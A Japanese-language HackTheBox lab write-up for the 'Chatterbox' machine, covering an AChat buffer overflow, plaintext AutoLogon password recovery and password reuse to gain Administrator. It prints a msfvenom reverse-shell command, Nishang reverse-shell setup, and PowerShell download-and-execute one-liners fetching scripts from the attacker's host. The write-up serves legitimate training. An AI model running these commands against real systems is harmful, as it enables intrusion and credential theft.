【HackTheBox】Chatterbox - Writeup -

# 前書き

マシンのフラグを取るためではなく、取る手立てとして参考してもらえば幸いです。
必要な情報は概要に書き記してありますので、そこを参照して下さい。
出来る限り自分で考えた後、どうしても無理であればWriteup本文を読んで下さい。
`netcat`などの基本的接続プロセスは省略して書いています。
ファイルは全て`python -m SimpleHTTPServer 80`でトランスファーしてます。

# 概要

- バッファーオーバーフロー

- Auto Logonにおけるレジスターのパスワード平文保存

- フォルダーの間違った権限設定


## 学べる事/疑問点

### icacls

権限を確認するためのコマンド。
Bashでいう、`chmod`や`chgroup`である。

```
C:\>icacls "Program Files"
icacls "Program Files"
Program Files NT SERVICE\TrustedInstaller:(F)
              NT SERVICE\TrustedInstaller:(CI)(IO)(F)
              NT AUTHORITY\SYSTEM:(M)
              NT AUTHORITY\SYSTEM:(OI)(CI)(IO)(F)
              BUILTIN\Administrators:(M)
              BUILTIN\Administrators:(OI)(CI)(IO)(F)
              BUILTIN\Users:(RX)
              BUILTIN\Users:(OI)(CI)(IO)(GR,GE)
              CREATOR OWNER:(OI)(CI)(IO)(F)
```

`icacls "fileName" /grant user` user権限を追加する。
`icacls "fileName" /remove user` user権限を削除する。

### バッファーオーバーフロー

処理能力を超えるようなデータを送りつけて、プログラムに誤動作を起こさせる攻撃手段の一つ。

シェルコードを作成して、攻撃者マシンへ送りつける。

シェルコードにはbad charsと呼ばれるものがあるので、それらの文字列を使わないようにしてシェルコードを作成する。

例えば、`0x00`はヌルバイトと呼ばれ、C言語では文字列の終わりを意味するので、このヌルバイトは必ず抜かなければならない。出ないと、途中でシェルコードの読み込みが終わってしまう。

### Auto Login

Windowsにおいて、自動ログインをさせるもの。
`HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon`にパスワードが平文で保存されているので、危険。

```shell 
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr "DefaultUserName DefaultDomainName DefaultPassword"
Get-ItemProperty -Path 'Registry::HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\WinLogon' | select "Default*"
```

とターミナルで打てば、ユーザーネームとパスワードが出てしまう。

# 本文

## ポート捜索

```shell
nmap -vv  -sT -p1-10000 10.10.10.74

PORT     STATE SERVICE REASON
9255/tcp open  mon     syn-ack
9256/tcp open  unknown syn-ack

nmap -vv -P0 -sTUV --top-ports 10000 10.10.10.74 
#sTUV はTCP/UDP と　--top-ports
```

普通のnmapだと何もなかったので、TCPフルスキャン（`sT`オプション）を行う。
これは時間がかかった。

PORT 9256は`Achat System` というサービスが稼働するポートらしいので、
早速exploit-db.comで調べてみると、エクスプロイトコードが出て来る。

https://exploit-db.com/exploits/36025

## バッファーオーバーフロー

マニュアル通りに書いてみる

```shell
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.47 LPORT=4444 -f python BufferRegister=EAX -e x86/unicode_mixed -b '\x00\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff'
```
オプションは`-b`がbad charsを避けるため、`-f`は形式、`-e`はエンコーダー（shikataga_naiはbad chars指定が多すぎて使えなかった),`-p`はペイロード。

## 侵入 - Low Privileged Shell

早速、リバースシェルが帰って来るが、不安定。

パワーシェル/新しい安定したシェルでspawnさせたい。
https://github.com/samratashok/nishang/blob/master/Shells/Invoke-PowerShellTcp.ps1 を使用。

ファイルの最後列に追加: `Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.47 -Port 8888`

### SystemInfo

Hotfix(es):208もあった。
色々試したが、上手くいかず。
Hotfixが多すぎる場合は、システム関連エクスプロイトは多いので、後回しにする。

### whoami /priv

```shell
C:\Users\Alfred\Music>whoami /priv
whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                          State   
============================= ==================================== ========
SeShutdownPrivilege           Shut down the system                 Disabled
SeChangeNotifyPrivilege       Bypass traverse checking             Enabled 
SeUndockPrivilege             Remove computer from docking station Disabled
SeIncreaseWorkingSetPrivilege Increase a process working set       Disabled
SeTimeZonePrivilege 
```
SeImpersonate/SeAssignPrimaryTokenが無いので、Impersonation PEは出来ない。

### Unquoted Service 

Unquopted Serviceが存在し、かつパスを変更して任意のバイナリーを実行できる。
ユーザーが実行しているバイナリーがあるかを探す。

```shell
C:\Users\Alfred\Music>wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\\Windows\\system32\\" |findstr /i /v """
wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\\Windows\\system32\\" |findstr /i /v """
DisplayName                                             Name                                 PathName                                                                                 StartMode  
ASP.NET State Service                                   aspnet_state                         C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_state.exe                           Disabled   
Microsoft .NET Framework NGEN v2.0.50727_X86            clr_optimization_v2.0.50727_32       C:\Windows\Microsoft.NET\Framework\v2.0.50727\mscorsvw.exe                               Disabled   
Microsoft .NET Framework NGEN v4.0.30319_X86            clr_optimization_v4.0.30319_32       C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe                               Auto       
Windows Media Center Receiver Service                   ehRecvr                              C:\Windows\ehome\ehRecvr.exe                                                             Manual     
Windows Media Center Scheduler Service                  ehSched                              C:\Windows\ehome\ehsched.exe                                                             Manual     
Windows Presentation Foundation Font Cache 3.0.0.0      FontCache3.0.0.0                     C:\Windows\Microsoft.Net\Framework\v3.0\WPF\PresentationFontCache.exe                    Manual     
Net.Pipe Listener Adapter                               NetPipeActivator                     C:\Windows\Microsoft.NET\Framework\v4.0.30319\SMSvcHost.exe                              Disabled   
Net.Tcp Listener Adapter                                NetTcpActivator                      C:\Windows\Microsoft.NET\Framework\v4.0.30319\SMSvcHost.exe                              Disabled   
Net.Tcp Port Sharing Service                            NetTcpPortSharing                    C:\Windows\Microsoft.NET\Framework\v4.0.30319\SMSvcHost.exe                              Disabled   
Windows Modules Installer                               TrustedInstaller                     C:\Windows\servicing\TrustedInstaller.exe                                                Manual
```
見たところ、興味を引かせるサービスは稼働していない。

### ChecksALL

クレデンシャルが漏れていたら表示してくれる。
unattend.xmlや色々なレジスターを自動で捜索してくれる**モジュール**

https://github.com/PowerShellMafia/PowerSploit/tree/master/Privesc

```shell
PS C:\Users\Alfred> Import-Module ./Powerup.ps1
# エラーが表示されて出来ない

# 定番
## ダウンロードと実行を同時に行う
PS C:\Users\Alfred> iex(new-object net.webclient).downloadstring('http://10.10.14.47/PowerUp.ps1')

PS C:\Users\Alfred> Invoke-Allchecks

DefaultDomainName    : 
DefaultUserName      : Alfred
DefaultPassword      : Welcome1!
AltDefaultDomainName : 
AltDefaultUserName   : 
AltDefaultPassword   : 
Check                : Registry Autologons

UnattendPath : C:\Windows\Panther\Unattend.xml
Name         : C:\Windows\Panther\Unattend.xml
Check        : Unattended Install Files

```

Default*より、`Alfred`のパスワードは`Welcome1!`である。

Windows AutoLogonを使用してるので、パスワードが平文で保存されている。

管理者も同じパスワードを使っていればどうなるか？
*管理者の権限を使ってファイルを実行できる可能性*がある。 

Bashでいう、`sudo -u Administrator ./reverse-shell`みたいなのをする。

Windows Cmdletだと全てが`オブジェクト`なので、手間がかかる。
`$var = new-object hogehoge`みたいにする。

## 管理者権限でファイルを実行

```shell
#パスワードオブジェクト:
$password = convertto-securestring -AsPlainText -Force -String "Welcome1!" 
 
#クレデンシャルオブジェクト
$credential = new-object -typename System.Management.Automation.PSCredential -argumentlist "chatterbox\administrator",$password;

#実行
Start-Process -FilePath "powershell" -argumentlist "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.17/Invoke-PowerShellTcp.ps1')" -Credential $credential
```

## 侵入 - Privileged Shell

```shell
listening on [any] 8889 ...
connect to [10.10.14.47] from (UNKNOWN) [10.10.10.74] 49184
Windows PowerShell running as user Administrator on CHATTERBOX
Copyright (C) 2015 Microsoft Corporation. All rights reserved.

PS C:\Users\Administrator\Music>whoami
chatterbox\administrator
PS C:\Users\Alfred\Desktop> type user.txt
72290...334
PS C:\Users\Administrator\Desktop> type root.txt
a673...c7c
```

管理者は同じパスワードを使っていた模様で、容易にログインが出来た。

### 感想

最初にパーミッションの確認をすると、

```shell

C:\Users>icacls "Administrator"
Administrator NT AUTHORITY\SYSTEM:(OI)(CI)(F)
              CHATTERBOX\Administrator:(OI)(CI)(F)
              BUILTIN\Administrators:(OI)(CI)(F)
              CHATTERBOX\Alfred:(OI)(CI)(F)
```
フォルダー権限が弱いので、変更することが出来ます。
`cacls "Administrator" /grand Alfred`でproof.txtが見れる。
しかし、管理者シェルを得るのが目的なので、本文では書きませんでした。


読んでくれてありがとうございます！

By MR-WACKER